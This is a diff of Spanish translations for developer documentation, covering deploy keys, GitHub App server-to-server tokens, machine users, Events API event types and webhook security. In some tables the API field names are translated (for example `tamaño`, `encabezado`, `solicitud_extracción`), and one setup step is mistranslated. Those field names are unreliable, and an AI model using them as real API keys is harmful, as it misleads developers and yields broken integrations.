+* Las llaves de despliegue solo otorgan acceso a un solo repositorio. Los proyectos más complejos pueden tener muchos repositorios que extraer del mismo servidor.
+* Las llaves de lanzamiento habitualmente no están protegidas con una frase de acceso, lo cual hace que se pueda acceder fácilmente a ellas si el servidor estuvo en riesgo.
 
-#### Setup
+#### Configuración
 
-1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public/private rsa key pair.
-2. In the upper-right corner of any {% data variables.product.product_name %} page, click your profile photo, then click **Your profile**. ![Navigation to profile](/assets/images/profile-page.png)
-3. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png)
-4. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png)
-5. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png)
-6. Provide a title, paste in your public key.  ![Deploy Key page](/assets/images/deploy-key.png)
-7. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository.
-8. Click **Add key**.
+1. [Ejecuta el procedimiento de `ssh-keygen`][generating-ssh-keys] en tu servidor, y recuerda en donde guardaste el par de llaves pública/privada de rsa.
+2. En la esquina superior derecha de cualquier página de {% data variables.product.product_name %}, da clic en tu foto de perfil y luego da clic en **Tu perfil**. ![Navegación al perfil](/assets/images/profile-page.png)
+3. En tu página de perfil, da clic en **Repositorios** y luego en el nombre de tu repositorio. ![Enlace de los repositorios](/assets/images/repos.png)
+4. Desde tu repositorio, da clic en **Configuración**. ![Configuración del repositorio](/assets/images/repo-settings.png)
+5. En la barra lateral, da clic en **Desplegar llaves** y luego en **Agregar llave de despliegue**. ![Enlace para agregar llaves de despliegue](/assets/images/add-deploy-key.png)
+6. Proporciona un título, pégalo en tu llave pública.  ![Página de la llave de despliegue](/assets/images/deploy-key.png)
+7. Selecciona **Permitir acceso de escritura** si quieres que esta llave tenga acceso de escritura en el repositorio. Una llave de despliegue con acceso de escritura permite que un despliegue cargue información al repositorio.
+8. Da clic en **Agregar llave**.
 
-#### Using multiple repositories on one server
+#### Utilizar repositorios múltiples en un servidor
 
-If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories.
+Si utilizas repositorios múltiples en un servidor, necesitarás generar un par de llaves dedicados para cada uno. No puedes reutilizar una llave de despliegue para repositorios múltiples.
 
-In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example:
+En el archivo de configuración SSH del servidor (habitualmente `~/.ssh/config`), agrega una entrada de alias para cada repositorio. Por ejemplo:
 
 ```bash
 Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0
@@ -104,59 +103,59 @@ Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif
         IdentityFile=/home/user/.ssh/repo-1_deploy_key
 ```
 
-* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias.
-* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias.
-* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias.
+* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - El alias del repositorio.
+* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configura el nombre de host a utilizar con el alias.
+* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Asigna una llave privada al alias.
 
-You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example:
+Entonces podrás utilizar el alias del nombre de host para que interactúe con el repositorio utilizando SSH, lo cual utilizará la llave de despliegue única que se asignó a dicho alias. Por ejemplo:
 
 ```bash
 $ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git
 ```
 
-## Server-to-server tokens
+## Tokens de servidor a servidor
 
-If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. 
+Si tu servidor necesita acceder a repositorios a lo largo de una o más organizaciones, puedes utilizar una GitHub app para definir el acceso que necesitas y luego generar tokens de _alcance limitado_ de _servidor a servidor_ desde dicha GitHub App. Se puede ajustar el alcance de los tokens de servidor a servidor para repositorios múltiples y pueden tener permisos específicos. Por ejemplo, puedes generar un token con acceso de solo lectura al contenido de un repositorio.
 
-Since GitHub Apps are a first class actor on  {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for Github Apps](/developers/apps/rate-limits-for-github-apps).
+Ya que las GitHub Apps son un actor de primera clase en {% data variables.product.product_name %}, los tokens de servidor a servidor se desacoplan de cualquier usuario de GitHub, lo cual los hace comparables con los "tokens de servicio". Adicionalmente, los tokens de servidor a servidor. tienen límites de tasa dedicados que se escalan de acuerdo con el tamaño de las organizaciones sobre las cuales actúan. Para obtener más información, consulta la sección [Límites de tasa para las GitHub Apps](/developers/apps/rate-limits-for-github-apps).
 
 #### Pros
 
-- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API).
-- Dedicated rate limits that grow with your organization.
-- Decoupled from GitHub user identities, so they do not consume any licensed seats.
-- Never granted a password, so cannot be directly signed in to.
+- Tokens de alcance muy específico con conjuntos de permisos bien definidos y tiempos de vencimiento (1 hora o menos si se revocan manualmente utilizando la API).
+- Límites de tasa dedicados que crecen con tu organización.
+- Desacoplados de las identidades de los usuariso de GitHub para que no consuman plazas de la licencia.
+- Nunca se les otorga una contraseña, así que no se puede iniciar sesión directamente en ellos.
 
-#### Cons
+#### Contras
 
-- Additional setup is needed to create the GitHub App.
-- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code.
+- Se necesita de una configuración adicional para crear la GitHub App.
+- Los tokens de servidor a servidor vencen después de 1 hora, entonces necesitan volver a generarse habitualmente cuando se necesite, utilizando código.
 
-#### Setup
+#### Configuración
 
-1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private.
-1. Determine the permissions your GitHub App requires, such as read-only access to repository contents.
-1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app).
-1. Note your GitHub App `id`.
-1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key).
-1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization.
-1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access.  Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app).
-1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation).
-1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client.
+1. Determina si tu GitHub App debería ser pública o privada. Si tu GitHub App solo actúa en los repositorios dentro de tu organización, probablemente la quieras como privada.
+1. Determina los permisos que necesita tu GitHub App, tales como el acceso de solo lectura al contenido del repositorio.
+1. Crea tu GitHub App a través de la página de configuración de tu organización. Para obtener más información, consulta la sección [Crear una GitHub App](/developers/apps/creating-a-github-app).
+1. Ten en cuenta la `id` de tu GitHub App.
+1. Genera y descarga la llave privada de tu GitHub App y almacénala de forma segura. Para obtener más información, consulta la sección [Generar una llave privada](/developers/apps/authenticating-with-github-apps#generating-a-private-key).
+1. Instala tu GitHub App en los repositorios sobre los que necesita actuar, opcionalmente, puedes instalarla en todos los repositorios de tu organización.
+1. Identifica la `installation_id` que representa la conexión entre tu GitHub App y los repositorios de tu organización a los que puede acceder.  Cada par de GitHub App y organización tienen por lo mucho una sola `installation_id`. Puedes identificar esta `installation_id` a través de la sección [Obtén una instalación de organización para la app autenticada](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). Esto requiere autenticarse como una GitHub App utilizando un JWT. Para obtener más información, consulta la sección [Autenticarse como una GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app).
+1. Genera un token de servidor a servidor utilizando la terminal de la API de REST correspondiente, [Crear un token de acceso a la instalación para una app](/rest/reference/apps#create-an-installation-access-token-for-an-app). Esto requiere autenticarse como una GitHub App utilizando un JWT. Para obtener más información, consulta las secciones [Autenticarse como una GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app) y [Autenticarse como una instalación](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation).
+1. Esto requiere que un token de servidor a servidor interactúe con tus repositorios, ya sea a través de la API de REST o de GraphQL, o mediante el cliente de Git.
 
-## Machine users
+## Usuarios máquina
 
-If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team).
+Si tu servidor necesita acceso a varios repositorios, puedes crear una cuenta nueva en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} y adjuntar la llave SSH que se utilizará exclusivamente para la automatización. Ya que ningún humano utilizará esta cuenta cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, se le llama un _usuario máquina_. Puedes agregar el usuario máquina como [colaborador][collaborator] en un repositorio personal (otorgándole acceso de lectura y escritura), como un [colaborador externo][outside-collaborator] en el repositorio de una organización (otorgándole acceso de lectura, escritura y administrador), o a un [equipo][team] con acceso a los repositorios que necesite para la automatización (otorgándole los permisos del equipo).
 
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Tip:** Our [terms of service][tos] state:
+**Tip:** En nuestras [condiciones de servicio][tos] se declara que:
 
-> *Accounts registered by "bots" or other automated methods are not permitted.*
+> *No se permiten las cuentas que registren ni los "bots", ni otros métodos automatizados.*
 
-This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool.
+Esto significa que no puedes automatizar la creación de las cuentas. Pero si quieres crear un solo usuario máquina para automatizar las tareas como el despliegue de scripts en tu proyecto u organización, eso está perfecto.
 
 {% endtip %}
 
@@ -164,28 +163,29 @@ This means that you cannot automate the creation of accounts. But if you want to
 
 #### Pros
 
-* Anyone with access to the repository and server has the ability to deploy the project.
-* No (human) users need to change their local SSH settings.
-* Multiple keys are not needed; one per server is adequate.
+* Cualquiera que tenga acceso al repositorio y al servidor tiene la capacidad de desplegar el proyecto.
+* No se necesitan usuarios (humanos) para cambiar su configuración local de SSH.
+* No se necesitan llaves múltiples; una por servidor está bien.
 
-#### Cons
+#### Contras
 
-* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access.
-* Machine user keys, like deploy keys, are usually not protected by a passphrase.
+* Únicamente las organizaciones pueden restringir a los usuarios máquina para que tengan acceso de solo lectura. Los repositorios personales siempre otorgan a los colaboradores acceso de lectura/escritura.
+* Las llaves de los usuarios máquina, tal como las llaves de despliegue, a menudo no se encuentran protegidas con una frase de acceso.
 
-#### Setup
+#### Configuración
 
-1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account.
-2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization.
+1. [Ejecuta el procedimiento de `ssh-keygen`][generating-ssh-keys] en tu servidor y adjunta la llave pública a la cuenta del usuario máquina.
+2. Otorga a la cuenta del usuario máquina el acceso a los repositorios que quieras automatizar. Puedes hacer esto si agregas la cuenta como un [colaborador][collaborator], como un [colaborador externo][outside-collaborator], o a un [equipo][team] en una organización.
+
+## Leer más
+- [Configurar notificaciones](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
 
 [ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/
 [generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key
 [tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/
 [git-automation]: /articles/git-automation-with-oauth-tokens
+[git-automation]: /articles/git-automation-with-oauth-tokens
 [collaborator]: /articles/inviting-collaborators-to-a-personal-repository
 [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization
 [team]: /articles/adding-organization-members-to-a-team
 
-## Further reading
-- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
-
diff --git a/translations/es-ES/content/developers/overview/replacing-github-services.md b/translations/es-ES/content/developers/overview/replacing-github-services.md
index 8fc5e7b0a8..e633382f41 100644
--- a/translations/es-ES/content/developers/overview/replacing-github-services.md
+++ b/translations/es-ES/content/developers/overview/replacing-github-services.md
@@ -2,8 +2,8 @@
 title: Reemplazar los GitHub Services
 intro: 'Si aún estás dependiendo de los {% data variables.product.prodname_dotcom %} Services obsoletizados, aprende cómomigrar los ganchos de tu servicio a webhooks.'
 redirect_from:
-  - /guides/replacing-github-services/
-  - /v3/guides/automating-deployments-to-integrators/
+  - /guides/replacing-github-services
+  - /v3/guides/automating-deployments-to-integrators
   - /v3/guides/replacing-github-services
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/overview/secret-scanning-partner-program.md b/translations/es-ES/content/developers/overview/secret-scanning-partner-program.md
index 4f096f358b..e70992cf3a 100644
--- a/translations/es-ES/content/developers/overview/secret-scanning-partner-program.md
+++ b/translations/es-ES/content/developers/overview/secret-scanning-partner-program.md
@@ -3,7 +3,7 @@ title: Programa asociado del escaneo de secretos
 intro: 'Como proveedor de servicios, puedes asociarte con {% data variables.product.prodname_dotcom %} para que se aseguren nuestros formatos de token secretos a través de un escaneo de secretos, el cual busca las confirmaciones accidentales de tus formatos secretos y puede enviarse a la terminal de verificación de un proveedor de servicios.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
-  - /partnerships/token-scanning/
+  - /partnerships/token-scanning
   - /partnerships/secret-scanning
   - /developers/overview/secret-scanning
 versions:
diff --git a/translations/es-ES/content/developers/overview/using-ssh-agent-forwarding.md b/translations/es-ES/content/developers/overview/using-ssh-agent-forwarding.md
index 303d3b3a60..cd9eefd83e 100644
--- a/translations/es-ES/content/developers/overview/using-ssh-agent-forwarding.md
+++ b/translations/es-ES/content/developers/overview/using-ssh-agent-forwarding.md
@@ -2,7 +2,7 @@
 title: Utilizar el reenvío del agente SSH
 intro: 'Para simplificar los despliegues en un servidor, puedes configurar el reenvío del agente SSH para utilizar las llaves SSH locales de forma segura.'
 redirect_from:
-  - /guides/using-ssh-agent-forwarding/
+  - /guides/using-ssh-agent-forwarding
   - /v3/guides/using-ssh-agent-forwarding
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/webhooks-and-events/events/github-event-types.md b/translations/es-ES/content/developers/webhooks-and-events/events/github-event-types.md
index 9fc83a14a9..3e5958151a 100644
--- a/translations/es-ES/content/developers/webhooks-and-events/events/github-event-types.md
+++ b/translations/es-ES/content/developers/webhooks-and-events/events/github-event-types.md
@@ -1,7 +1,6 @@
 ---
-title: GitHub event types
-intro: 'For the {% data variables.product.prodname_dotcom %} Events API, learn about each event type, the triggering action on {% data variables.product.prodname_dotcom %}, and each event''s unique properties.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Tipos de evento de GitHub
+intro: 'Para la API de Eventos de {% data variables.product.prodname_dotcom %}, aprende acerca de cada tipo de evento, la acción que los desencadena en {% data variables.product.prodname_dotcom %}, y las propiedades exclusivas de cada evento.'
 redirect_from:
   - /v3/activity/event_types
   - /developers/webhooks-and-events/github-event-types
@@ -13,36 +12,37 @@ versions:
 topics:
   - Events
 ---
-The Events API can return different types of events triggered by activity on GitHub. Each event response contains shared properties, but has a unique `payload` object determined by its event type. The [Event object common properties](#event-object-common-properties) describes the properties shared by all events, and each event type describes the `payload` properties that are unique to the specific event.
+
+La API de eventos puede devolver diferentes tipos de ventos que se activan de acuerdo a la actividad en GitHub. Cada respuesta de evento contiene propiedades compartidas, pero tiene un objeto único de `payload` que se determina por su tipo de evento. Las [propiedades comunes del objeto de los eventos](#event-object-common-properties) describen aquellas propiedades que comparten todos los eventos, y cada tipo de evento describe las propiedades de la `payload` que son exclusivas para éste.
 
 {% ifversion fpt or ghec %}
 
 {% endif %}
 
-## Event object common properties
+## Propiedades comunes del objeto de los eventos
 
-The event objects returned from the Events API endpoints have the same structure.
+Los objetos de los eventos que se devuelven de las terminales de la API de Eventos tienen la misma estructura.
 
-| Event API attribute name | Description |
-|--------------------------|-------------|
-| `id` | Unique identifier for the event. |
-| `type` | The type of event. Events uses PascalCase for the name. |
-| `actor` | The user that triggered the event. |
-| `actor.id` | The unique identifier for the actor. |
-| `actor.login` | The username of the actor. |
-| `actor.display_login` | The specific display format of the username. |
-| `actor.gravatar_id` | The unique identifier of the Gravatar profile for the actor. |
-| `actor.url` | The REST API URL used to retrieve the user object, which includes additional user information. |
-| `actor.avatar_url` | The URL of the actor's profile image. |
-| `repo` | The repository object where the event occurred.  |
-| `repo.id` | The unique identifier of the repository. |
-| `repo.name` | The name of the repository, which includes the owner and repository name. For example, `octocat/hello-world` is the name of the `hello-world` repository owned by the `octocat` user account. |
-| `repo.url` | The REST API URL used to retrieve the repository object, which includes additional repository information. |
-| `payload` | The event payload object is unique to the event type. See the event type below for the event API `payload` object. |
+| Nombre del atributo de la API del Evento | Descripción                                                                                                                                                                                                       |
+| ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `id`                                     | Identificador único para el evento.                                                                                                                                                                               |
+| `type`                                   | El tipo de evento. Los eventos utilizan PascalCase para el nombre.                                                                                                                                                |
+| `actor (actor)`                          | El usuario que activó el evento.                                                                                                                                                                                  |
+| `actor.id`                               | El identificador único para el actor.                                                                                                                                                                             |
+| `actor.login`                            | El nombre de usuario para el actor.                                                                                                                                                                               |
+| `actor.display_login`                    | El formato de visualización específico para el nombre de usuario.                                                                                                                                                 |
+| `actor.gravatar_id`                      | El identificador único del perfil de Gravatar para el actor.                                                                                                                                                      |
+| `actor.url`                              | La URL de la API de REST que se utiliza para recuperar el objeto del usuario, el cual incluye información adicional del usuario.                                                                                  |
+| `actor.avatar_url`                       | La URL de la imagen de perfil del actor.                                                                                                                                                                          |
+| `repo`                                   | El objeto del repositorio en donde ocurrió el evento.                                                                                                                                                             |
+| `repo.id`                                | El identificador único del repositorio.                                                                                                                                                                           |
+| `repo.name`                              | El nombre del repositorio, el cual incluye también al nombre del propietario. Por ejemplo, el nombre del repositorio `hello-world`, cuyo propietario es la cuenta de usuario `octocat`, es `octocat/hello-world`. |
+| `repo.url`                               | La URL de la API de REST que se utiliza para recuperar el objeto del repositorio, el cual incluye información adicional sobre dicho repositorio.                                                                  |
+| `payload`                                | El objeto de la carga útil del evento que es exclusivo para el tipo de evento. En el siguiente ejemplo puedes ver el tipo de evento para el objeto de `payload` de la API de eventos.                             |
 
-### Example WatchEvent event object
+### Ejemplo con el objeto de evento WatchEvent
 
-This example shows the format of the [WatchEvent](#watchevent) response when using the [Events API](/rest/reference/activity#events).
+Este ejemplo te muestra el formato de la respuesta de [WatchEvent](#watchevent) cuando utilizas la [API de Eventos](/rest/reference/activity#events).
 
 ```
 HTTP/2 200
@@ -87,7 +87,7 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.commit_comment_properties %}
 
@@ -97,7 +97,7 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.create_properties %}
 
@@ -107,7 +107,7 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.delete_properties %}
 
@@ -117,7 +117,7 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.fork_properties %}
 
@@ -127,7 +127,7 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.gollum_properties %}
 
@@ -137,7 +137,7 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.issue_comment_webhook_properties %}
 {% data reusables.webhooks.issue_comment_properties %}
@@ -148,7 +148,7 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.issue_event_api_properties %}
 {% data reusables.webhooks.issue_properties %}
@@ -159,7 +159,7 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.member_event_api_properties %}
 {% data reusables.webhooks.member_properties %}
@@ -168,9 +168,9 @@ Link: <https://api.github.com/resource?page=2>; rel="next",
 ## PublicEvent
 
 {% data reusables.webhooks.public_short_desc %}
-### Event `payload` object
+### Objeto de `payload` del evento
 
-This event returns an empty `payload` object.
+Este evento devuelve un objeto de `payload` vacío.
 {% endif %}
 ## PullRequestEvent
 
@@ -178,7 +178,7 @@ This event returns an empty `payload` object.
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.pull_request_event_api_properties %}
 {% data reusables.webhooks.pull_request_properties %}
@@ -189,13 +189,13 @@ This event returns an empty `payload` object.
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | The action that was performed. Can be `created`.
-`pull_request` | `object` | The pull request the review pertains to.
-`review` | `object` |	The review that was affected.
+| Clave                  | Tipo        | Descripción                                              |
+| ---------------------- | ----------- | -------------------------------------------------------- |
+| `Acción`               | `secuencia` | La acción que se realizó. Puede ser `created`.           |
+| `solicitud_extracción` | `objeto`    | La solicitud de cambios a la cual pertenece la revisión. |
+| `revisar`              | `objeto`    | La revisión que se afectó.                               |
 
 ## PullRequestReviewCommentEvent
 
@@ -203,7 +203,7 @@ Key | Type | Description
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.pull_request_review_comment_event_api_properties %}
 {% data reusables.webhooks.pull_request_review_comment_properties %}
@@ -214,24 +214,24 @@ Key | Type | Description
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
-Key | Type | Description
-----|------|-------------
-`push_id` | `integer` | Unique identifier for the push.
-`size`|`integer` | The number of commits in the push.
-`distinct_size`|`integer` | The number of distinct commits in the push.
-`ref`|`string` | The full [`git ref`](/rest/reference/git#refs) that was pushed. Example: `refs/heads/main`.
-`head`|`string` | The SHA of the most recent commit on `ref` after the push.
-`before`|`string` | The SHA of the most recent commit on `ref` before the push.
-`commits`|`array` | An array of commit objects describing the pushed commits. (The array includes a maximum of 20 commits. If necessary, you can use the [Commits API](/rest/reference/repos#commits) to fetch additional commits. This limit is applied to timeline events only and isn't applied to webhook deliveries.)
-`commits[][sha]`|`string` | The SHA of the commit.
-`commits[][message]`|`string` | The commit message.
-`commits[][author]`|`object` | The git author of the commit.
-`commits[][author][name]`|`string` | The git author's name.
-`commits[][author][email]`|`string` | The git author's email address.
-`commits[][url]`|`url` | URL that points to the commit API resource.
-`commits[][distinct]`|`boolean` | Whether this commit is distinct from any that have been pushed before.
+| Clave                      | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                          |
+| -------------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `push_id`                  | `número`    | Identificador único para la carga.                                                                                                                                                                                                                                                                                                                                                   |
+| `tamaño`                   | `número`    | La cantidad de confirmaciones de la carga.                                                                                                                                                                                                                                                                                                                                           |
+| `distinct_size`            | `número`    | La cantidad de confimraciones distintas para la carga.                                                                                                                                                                                                                                                                                                                               |
+| `ref`                      | `secuencia` | Toda la [`git ref`](/rest/reference/git#refs) que se cargó. Ejemplo: `refs/heads/main`.                                                                                                                                                                                                                                                                                              |
+| `encabezado`               | `secuencia` | El SHA de la confirmación más reciente en `ref` después de la carga.                                                                                                                                                                                                                                                                                                                 |
+| `before`                   | `secuencia` | El SHA de la confirmación más reciente en `ref` antes de la carga.                                                                                                                                                                                                                                                                                                                   |
+| `commits`                  | `arreglo`   | Un conjunto de objetos de confirmación que describen las confirmaciones subidas. (El conjunto incluye un máximo de 20 confirmaciones. De ser encesario, puedes utilizar la [API de confirmaciones](/rest/reference/repos#commits) para recuperar confirmaciones adicionales. Este límite se aplica a los eventos cronológicos únicamente y no se aplica a las entregas de webhooks). |
+| `commits[][sha]`           | `secuencia` | El SHA de la confirmación.                                                                                                                                                                                                                                                                                                                                                           |
+| `commits[][message]`       | `secuencia` | El mensaje de la confirmación.                                                                                                                                                                                                                                                                                                                                                       |
+| `commits[][author]`        | `objeto`    | El autor de git de la confirmación.                                                                                                                                                                                                                                                                                                                                                  |
+| `commits[][author][name]`  | `secuencia` | El nombre del autor de git.                                                                                                                                                                                                                                                                                                                                                          |
+| `commits[][author][email]` | `secuencia` | La dirección de correo electrónico del autor de git.                                                                                                                                                                                                                                                                                                                                 |
+| `commits[][url]`           | `url`       | URL que apunta al recurso de la API de la confirmación.                                                                                                                                                                                                                                                                                                                              |
+| `commits[][distinct]`      | `boolean`   | Si la confirmación es distinta de cualquier otra que se haya subido antes.                                                                                                                                                                                                                                                                                                           |
 
 ## ReleaseEvent
 
@@ -239,7 +239,7 @@ Key | Type | Description
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.release_event_api_properties %}
 {% data reusables.webhooks.release_properties %}
@@ -249,7 +249,7 @@ Key | Type | Description
 
 {% data reusables.webhooks.sponsorship_short_desc %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.sponsorship_event_api_properties %}
 {% data reusables.webhooks.sponsorship_properties %}
@@ -261,6 +261,6 @@ Key | Type | Description
 
 {% data reusables.webhooks.events_api_payload %}
 
-### Event `payload` object
+### Objeto de `payload` del evento
 
 {% data reusables.webhooks.watch_properties %}
diff --git a/translations/es-ES/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md b/translations/es-ES/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
index bc383cc73c..2a31833042 100644
--- a/translations/es-ES/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
+++ b/translations/es-ES/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your webhooks
-intro: 'Ensure your server is only receiving the expected {% data variables.product.prodname_dotcom %} requests for security reasons.'
+title: Asegurar tus webhooks
+intro: 'Asegúrate de que tu servidor está recibiendo únicamente las solicitudes de {% data variables.product.prodname_dotcom %} esperadas por razones de seguridad.'
 redirect_from:
   - /webhooks/securing
   - /developers/webhooks-and-events/securing-your-webhooks
@@ -12,42 +12,42 @@ versions:
 topics:
   - Webhooks
 ---
-Once your server is configured to receive payloads, it'll listen for any payload sent to the endpoint you configured. For security reasons, you probably want to limit requests to those coming from GitHub. There are a few ways to go about this--for example, you could opt to allow requests from GitHub's IP address--but a far easier method is to set up a secret token and validate the information.
+
+Una vez que tu servidor se configure para recibir cargas útiles, éste escuchará a cualquiera de ellas que se envíe a la terminal que configuraste. Por razones de seguridad, probablemente quieras limitar las solicitudes a aquellas que vengan de GitHub. Hay algunas formas de solucionar esto, por ejemplo, podrías decidir el permitir las solicitudes que vengan de la dirección IP de GitHub, pero una manera mucho más fácil es configurar un token secreto y validar la información.
 
 {% data reusables.webhooks.webhooks-rest-api-links %}
 
-## Setting your secret token
+## Configurar tu token secreto
 
-You'll need to set up your secret token in two places: GitHub and your server.
+Necesitarás configurar tu token secreto en dos lugares: GitHub y tu servidor.
 
-To set your token on GitHub:
+Para configurar tu token en GitHub:
 
